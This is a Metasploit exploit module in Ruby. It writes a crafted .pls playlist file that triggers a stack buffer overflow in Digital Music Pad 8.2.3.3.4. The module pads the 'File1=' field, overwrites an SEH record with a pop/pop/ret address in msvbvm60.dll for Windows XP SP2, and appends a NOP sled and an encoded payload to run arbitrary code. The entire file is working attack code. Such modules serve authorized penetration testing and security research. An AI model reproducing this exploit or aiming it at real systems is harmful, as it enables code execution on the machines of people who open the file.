##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
          When opening a malicious pls file with the Digital Music Pad,
          a remote attacker could overflow a buffer and execute
          arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Abhishek Lyall <abhilyall[at]gmail.com>'
        ],
        'References' => [
          [ 'CVE', '2010-20111' ],
          [ 'OSVDB', '68178' ],
          [ 'URL', 'http://web.archive.org/web/20100923154433/http://secunia.com:80/advisories/41519' ],
          [ 'EDB', '15134' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 4720,
          'BadChars' => "\x00\x20\x0a\x0d",
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP2', { 'Ret' => 0x73421DEF } ], # p/p/r msvbvm60.dll
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-09-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
      ]
    )
  end

  def exploit
    # PLS Header
    sploit = "[playlist]\n"
    sploit << "File1="

    sploit << rand_text_alphanumeric(260)
    sploit << generate_seh_record(target.ret)

    sploit << "\x90" * 12 # nop sled
    sploit << payload.encoded

    sploit << "\x90" * (4720 - payload.encoded.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end